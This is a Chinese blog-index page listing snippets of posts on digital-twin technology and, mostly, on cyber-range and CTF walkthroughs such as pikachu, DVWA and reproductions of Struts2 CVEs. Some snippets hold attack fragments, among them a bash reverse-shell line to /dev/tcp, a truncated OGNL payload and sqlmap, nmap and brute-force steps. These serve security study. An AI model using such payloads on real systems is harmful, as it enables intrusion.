数字孪生靶场

BUU BRUTE 1

靶场教程1.开局页面，是个登录界面。2.尝试万能密码，发现并不可行，提示【用户名错误】。用户名输入admin，发现提示密码错误，为四位数字。3.那么，抓包爆破吧。通过burp进行抓包。
有搞头-CC·2024-01-27 03:39

BUU LFI COURSE 1

靶场教程1.开局界面，已给出源代码。2.存在文件包含include，直接通过传参file进行获取flag。3.通过访问url发现报错，说明flag并不在当前目录下，只需要向前访问目录即可。
有搞头-CC·2024-01-27 03:39

BUU SQL COURSE 1

靶场教程1.访问页面。2.在网页寻找注入点。发现注入点链接位置。
有搞头-CC·2024-01-27 03:39

2024年深圳市工业和信息化局软件产业高质量发展技术创新体系扶持计划产业链关键环节提升项目申请指南

一、资助的项目类别软件企业围绕大数据、云计算、区块链、信息安全、数字孪生等软件产业重点发展方向，组织实施经济社会效益显著、主要性能指标取得突破的新产品应用推广项目。
高新技术企业认定条件·2024-01-27 00:46

Funbox10靶场--详细教程

下载安装Funbox10官方下载地址键盘配置和网卡修改参考Funbox9教程信息收集发现主机arp-scan-l-Ieth1因为是在一个局域网中，这里我们用arp-scan-l-Ieth1这个命令来发现目标主机IP端口扫描和服务发现nmap-A-p--T5172.30.1.141这里我们使用nmap做端口扫描和服务发现-A：全功能扫描-p-：所有端口-T5：扫描速度web服务渗透web服务渗透是我
别动我的cat·2024-01-26 20:46

“新能源+储能“从数字孪生开始，图扑将智慧电力做到极致

《“十四五”现代能源体系规划》提出，创新电网结构形态和运行模式，加快构建现代能源体系。加快配电网改造升级，推动智能配电网建设，提高配电网接纳新能源和多元化负荷的承载力和灵活性。积极发展以消纳新能源为主的智能微电网，实现与大电网兼容互补。在2020年的联合国气候峰会上，我国正式提出了“3060”双碳目标。为实现“2030年前碳达峰，2060年前碳中和”的目标，着力构建清洁低碳、安全高效的能源体系，提
图扑数字孪生·2024-01-26 17:44

数字孪生系统的算法分析

数字孪生系统使用多种算法来模拟、分析和优化物理实体的行为。这些算法涵盖了多个领域，包括数学建模、计算机科学、数据分析等。以下是一些常见的数字孪生系统中使用的算法，希望对大家有所帮助。
super_Dev_OP·2024-01-26 17:52

数字孪生系统的难点

数字孪生系统的开发和实施涉及一些技术难点，这些难点需要综合应用多个领域的知识和技术来克服。以下是一些数字孪生系统开发中的技术难点，希望对大家有所帮助。
super_Dev_OP·2024-01-26 17:51

数字孪生系统的第三方算法库

在数字孪生系统的开发过程中，开发者可以使用一些第三方算法库来加速开发、优化模型、处理数据等。以下是一些常用的第三方算法库，可以在数字孪生系统中调用，希望对大家有所帮助。
super_Dev_OP·2024-01-26 17:15

实景三维+水动力模型，赋能数字孪生流域建设

水利关系国计民生。近年来，我国极端气象水文事件频发，水利工作面临水旱灾害防御的重大考验。为此，国家出台多项政策，要求加快构建具有“四预”（预报、预警、预演、预案）功能的智慧水利体系，以流域为单元提升水情预测和智能调度能力。实景三维技术凭借实时、精准、真实、可推演等优势，能够为水利建设提供可视化、智能化、立体化的三维空间信息数据，已成为推动智慧水利建设的核心技术力量。武汉大学水电水利学院联合大势智慧
大势智慧·2024-01-26 16:10

第23天：WEB攻防-Python考点&CTF与CMS-SSTI模版注入&PYC反编译

目录PYC文件反编译SSTIflask模板注入BUUCTF-shrine靶场题目SSTI考点-CMS源码-MACCMS_V8.X(苹果cms)执行PYC文件反编译介绍：pyc文件是py文件编译后生成的字节码文件
My Year 2019·2024-01-26 15:56

小迪安全21WEB 攻防-JavaWeb 项目&JWT 身份攻击&组件安全&访问控制

#知识点：1、JavaWeb常见安全及代码逻辑2、目录遍历&身份验证&逻辑&JWT3、访问控制&安全组件&越权&三方组件Java：大部分都是第三方插件出现漏洞webgoat的搭建：——java靶场JDK
yiqiqukanhaiba·2024-01-26 15:26

Web攻防--JAVAWEB项目&JWT身份攻击&组件安全&Python考点&CTF与CMS-SSTI模版注入&PYC反编译

知识点：1、JavaWeb常见安全及代码逻辑2、目录遍历&身份验证&逻辑&JWT3、访问控制&安全组件&越权&三方组件案例演示：JavaWeb-WebGoat8靶场搭建使用安全问题-目录遍历&身份认证-
LaPluie985·2024-01-26 15:55

如何使用docker实现越权漏洞-webug靶场搭建（超详解）

越权漏洞-webug靶场搭建1.打开dockersystemctlstartdocker2.查找webugdockersearchwebug3.拉取docker.io/area39/webug镜像dockerpulldocker.io
爱喝水的泡泡·2024-01-26 09:20

山海鲸可视化智慧林业解决方案

作为山海鲸可视化的核心开发团队成员，在钻研为大家做出免费好用数字孪生产品的路上孜孜不倦，同时为了提高大家的应用效率，为各行业可视化提供思路，我们也在配合推出各行解决方案案例。
枝上棉蛮·2024-01-26 07:08

科技赋能智慧水利——山海鲸软件水利方案解析

作为钻研数字孪生领域的开创者，我们希望不仅能为大家带来免费好用，人人都能用起来的数字孪生产品，还希望以其独特的技术优势和创新设计理念，为各领域数字化改革发展做出贡献。
枝上棉蛮·2024-01-26 07:59

利用sqlmap探测get类型注入

环境准备：构建完善的安全渗透测试环境：推荐工具、资源和下载链接_渗透测试靶机下载-CSDN博客基础：GET基于报错的sql注入利用-脱库-CSDN博客sqlmap工具是kali自带的例子我都用sql靶场的第一关做演示
狗蛋的博客之旅·2024-01-26 06:00

get基于报错的sql注入利用-读敏感文件和写入一句话木马

推荐工具、资源和下载链接_渗透测试靶机下载-CSDN博客基础：GET基于报错的sql注入利用-脱库-CSDN博客1、selectintooutfile或dumpfile写入一句话马这里用Sqli-labs靶场的第一关做演示
狗蛋的博客之旅·2024-01-26 06:57

红日靶场1

记一次内网渗透红日靶场下载地址：漏洞详情靶场地址分配：模拟外网网段：192.168.174.0/24模拟内网网段：192.168.52.0/24攻击机：kali：192.168.174.131靶机：域控服务器
Hello_Brian·2024-01-26 01:01

《数字孪生电网白皮书》发布 UINO打造电力行业数字化转型新引擎

2021年7月29日，数字孪生体联盟举办《数字孪生电网白皮书》发布会，发布由工业4.0研究院编写的数字孪生电网白皮书。
阿-朴·2024-01-25 23:24

数字孪生在能源电力行业的技术难点和应用场景

数字孪生的关键技术数字孪生技术架构包括物理空间、数字空间和信息处理三个部分，基于物联网和虚拟仿真的底层技术，实现了真实空间和虚拟空间之间的双向数据交换、指挥控制和虚拟现实联动，以满足这些需求，必须依靠五项关键技术
CServer_01·2024-01-25 23:21

使用虚拟机搭建pikachu靶场

VMware中搭建，基于linux的操作系统2.现在打开虚拟机3.此时的账号和密码都是“kali”，之后进行登录这时我们就来到了kali的主页面，此时第一步也完成了二、打开phpstudy我们打的所有靶场都是需要使用到
穿山甲敲代码·2024-01-25 20:53

pikachu 靶场搭建与密码爆破

数据库密码配置/pikachu/inc/config.inc.php文件配置数据库连接密码初始化访问/pikachu/install.php初始化pikachu暴力破解基于表单提示用户名已知如admin输入用户名和密码（随便），开启代理拦截BurpSuite抓包，发送到Intruder模块为密码添加有效载荷手动添加可能的密码或载入密码字典开始爆破，查看验证特殊的返回包成功爆破密码用户名未知随便输入
sxtym·2024-01-25 20:23

Pikachu靶场全级别通关教程详解

pikach通关暴力破解Cross-SiteScriptingXSS（跨站脚本）概述跨站脚本漏洞类型及测试流程跨站脚本漏洞常见类型XSS漏洞形成的原因：跨站脚本漏洞测试流程tips反射型XSS（get）反射型XSS（post）存储型XSSDOM型XSSDOM型XSS-XCSRF(跨站请求伪造漏洞)CSRF漏洞概述为什么会出现CSRF漏洞*CSRF与XSS的区别如何确认一个web系统存在csrf漏洞
HypeRong·2024-01-25 20:22

pikachu靶场通关(上）

第一关：暴力破解1.1基于表单的暴力破解首先打开burpsuite拦截，然后在随意输入账号密码，可在burpsuite上抓到皮卡丘的包，可以看到刚才输入的账号密码我们选择放包，然后看到提示“用户名或密码不存在”，说明刚刚随便输入的账号密码是错的（废话）这怎么办呢，可以看到右上角有提示，我们点开发现三个账号密码，其中肯定有一个是正确的，当然我们可以一个一个地试。但是数量多的话我们就不好试了。把这三个
幕溪WM·2024-01-25 20:50

pikachu靶场通关指南

靶场搭建docker搭建dockerpullarea39/pikachudockerrun-itd-p80:80-p3306:3306--name“p1”area39/pikachu暴力破解基于表单的暴力破解直接
只会打靶场的小菜鸟·2024-01-25 20:50

渗透学习-靶场篇-pikachu靶场详细攻略（持续更新中-）

提示：仅供进行学习使用，请勿做出非法的行为。如若由任何违法行为，将依据法律法规进行严惩！！！文章目录前言一、pikachu安装二、SQL-Inject数字型注入（post）利用burpsuite注入利用hackbar注入字符型注入（get)搜索型注入xx型注入insert/update注入delete注入http头部注入布尔盲注时间盲注宽字节注入三、xss安装反射型（get）反射型（post）存储
dfzy$_$·2024-01-25 20:49

pikachu靶场通关技巧详解

目录一.暴力破解二.Cross-SiteScripting(XSS跨站脚本攻击)三.CSRF(跨站请求伪造)四.SQL-Inject五.RCE六.FileInclusion(文件包含漏洞)七.UnsafeFiledownload(不安全的文件下载漏洞)八.UnsafeFileupload(不安全的文件上传)九.OverPermission(逻辑越权)十.../../(目录遍历漏洞)十一.敏感信息泄
henghengzhao_·2024-01-25 20:46

Pikachu（皮卡丘）靶场搭建

目录一、什么是Pikachu(皮卡丘)二、靶场配置一、什么是Pikachu(皮卡丘)Pikachu是一个带有漏洞的Web应用系统，在这里包含了常见的web安全漏洞。
机智的Jerry·2024-01-25 20:46

pikachu 靶场通关（全）

一.暴力破解1.1基于表单的暴力破解1.1.1漏洞利用burp抓包，ctrl+i添加爆破根据返回长度得到两个用户admin123456testabc1231.1.2源代码分析文件路径在：vul/burteforce/bf_form.php通过注释以及说明了，没有验证码也没有其他的访问控制，直接开始爆破就行1.2验证码绕过(onserver)1.2.1漏洞利用比上面多了一个验证码，我们在提交时抓包，
weixin_45111459·2024-01-25 20:45

Pikachu漏洞靶场系列之暴力破解

前言这是Pikachu漏洞靶场系列的第一篇~~（应该会连载吧）~~，先简单介绍一下Pikachu这个靶场。该靶场由国人开发，纯中文，且练习时遇到难点还可以查看提示，另外还有配套的学习视频。
程序员负总裁·2024-01-25 20:45

应用协议漏洞

其中rsync协议默认监听873端口1.未授权访问打开靶场判断漏洞是否存在rsyncrsync://目标ip:端口读取文件rsyncrsync://47.99.49.128:873/src/tmp/下载文件
果粒程1122·2024-01-25 18:58

越权漏洞（基于catfishcms靶场的垂直越权、水平越权）

垂直越权创建一个普通用户test、和管理员用户admin页面的url对比，未发现任何越权url创建一个后台用户test1、和管理员用户admin页面的url对比test1后台页面，只有内容管理admin后台管理页面在页面管理的新建页面的url和test1用户做比较，多了admin/index/newpage.html在test1用户管理页面的url后加上admin/index/newpage.ht
€On my way•£·2024-01-25 16:14

网络安全之XXE漏洞总结（pikachu靶场案例解析）

XXE漏洞是基于XML的漏洞先了解XML相关知识XML知识XML指可扩展标记语言（EXtensibleMarkupLanguage）。XML是一种很像HTML的标记语言。XML的设计宗旨是传输数据，而不是显示数据。html显示数据XML标签没有被预定义。您需要自行定义标签。XML被设计为具有自我描述性。XML是W3C的推荐标准作用存储数据传输数据语法规则：XML文档必须有根元素XML声明（可选）所
€On my way•£·2024-01-25 16:13

duomi靶场（变量覆盖）获取webshell

tips什么是变量覆盖？就是用新的值去覆盖原来的值，举个栗子$a=123;$a=234;//第二个变量a的值覆盖了第一个a的值，所以输出结果是234echo$a;变量覆盖漏洞如何入手？变量覆盖漏洞大多数由函数使用不当导致，经常引发变量覆盖漏洞的函数有：extract(数组)把一个数组的键全部变为变量，举个栗子$a=array('name'=>'tom');extract($a)//从这里开始，na
€On my way•£·2024-01-25 16:13

burp靶场--WebSockets安全漏洞

burp靶场–WebSockets安全漏洞https://portswigger.net/web-security/websockets/what-are-websockets###什么是WebSocket
0rch1d·2024-01-25 15:54

WEB安全渗透测试-pikachu&DVWA&sqli-labs&upload-labs&xss-labs靶场搭建（超详细）

目录phpstudy下载安装一，pikachu靶场搭建1.下载pikachu2.新建一个名为pikachu的数据库3.pikachu数据库配置编辑4.创建网站编辑5.打开网站6.初始化安装二，DVWA靶场搭建
aozhan001·2024-01-25 14:00

数字孪生系统的开发流程

数字孪生系统的开发流程通常包括以下关键步骤。数字孪生系统是通过数字化物理实体的虚拟模型，以实时模拟、监测和分析物理实体的状态和行为。北京木奇移动技术有限公司，专业的软件外包开发公司，欢迎交流合作。
super_Dev_OP·2024-01-25 14:14

如何使用虚幻引擎和Perforce版本控制实现建筑可视化？虚幻引擎建筑可视化（UE Archviz）的特点、优势和挑战

随着数字技术的飞速发展，建筑行业逐渐认识到数字孪生和可视化的重要性。虚幻引擎以其卓越的渲染能力和实时交互性，成为了建筑行业的“宠儿”。
龙智DevSecOps解决方案·2024-01-25 14:22

PWN入门&Protostar靶场Stack系列

Protostar靶场地址https://exploit.education/protostar/溢出源码分析#include#include#includeintmain(intargc,char**
cike_y·2024-01-25 12:38

xpath注入漏洞靶场搭建记录

目录漏洞简单介绍靶场搭建靶场测试漏洞简单介绍这种漏洞允许攻击者注入恶意XPath代码，从而操纵应用程序对XML数据的处理方式。
墨痕诉清风·2024-01-25 12:35

DVWA靶场——File Inclusion(文件包含漏洞)

1.文件包含漏洞1.什么是文件包含？程序开发人员通常会把可重复使用的函数写到单个文件中，在使用某些函数时，直接调用此文件，无需再次编写，这种调用文件的过程一般被称为文件包含。FileInclusion，文件包含（漏洞），是指当服务器开启allow_url_include选项时，就可以通过php的某些特性函数（include()，require()和include_once()，require_on
小小邵同学·2024-01-25 10:09

数据中心可视化——智慧机房数字孪生，高效运维管理

通过图扑自研产品HTforWeb可打造多类型数据中心数字孪生系统，本次将展示中国风、科技风、写实风、线框工艺的数据中心机房。真实还原出机房的三维场景，展
图扑数字孪生·2024-01-25 08:26

Vulnhub-dc5

靶场下载https://download.vulnhub.com/dc/DC-5.zip信息收集#nmap-sn192.168.1.0/24-oNlive.portStartingNmap7.94(https
YAy17·2024-01-25 08:38

[漏洞复现]Apache Struts2/S2-015 （CVE-2013-2134）

二、漏洞复现春秋云境.com进入靶场开始复现构造payload/${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_
free key·2024-01-25 06:41

[漏洞复现]Apache POI ＜ 3.10.1 XXE（CVE-2014-3529）

二、漏洞复现春秋云境.com进入靶场准备文件和环境创建一个[Content_Types].xml文件和xxe.dtd文件注意名字不可修改###xxe.dtd###">%all;###[Content_Typ
free key·2024-01-25 06:10

[漏洞复现]Apache Struts2/S2-013 （CVE-2013-1966）

二、漏洞复现春秋云境.com进入靶场开始复现bash-i>&/dev/tcp/127.0.0.1/99990>&1base加密bash-c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOT
free key·2024-01-25 06:10

[漏洞复现]Apache Shiro ＜ 1.6.0 验证绕过漏洞（CVE-2020-13933）

二、漏洞复现春秋云境.com进入靶场开始复现/admin/%3b三、漏洞处置建议把靶场关了，跟漏洞说“白白吧”
free key·2024-01-25 06:10

[漏洞复现]Apache Struts2/S2-015 （CVE-2013-2135）

二、漏洞复现春秋云境.com进入靶场开始复现构造好payload,弹nc${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#
free key·2024-01-25 06:04

sqlmap使用教程（3）-探测注入漏洞

1、探测GET参数以下为探测DVWA靶场low级别的sql注入，以下提交方式为GET，问号（?）将分隔URL和传输的数据，而参数之间以&相连。
fanmeng2008·2024-01-24 21:49
上一页 3 4 5 6 7 8 9 10 下一页
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他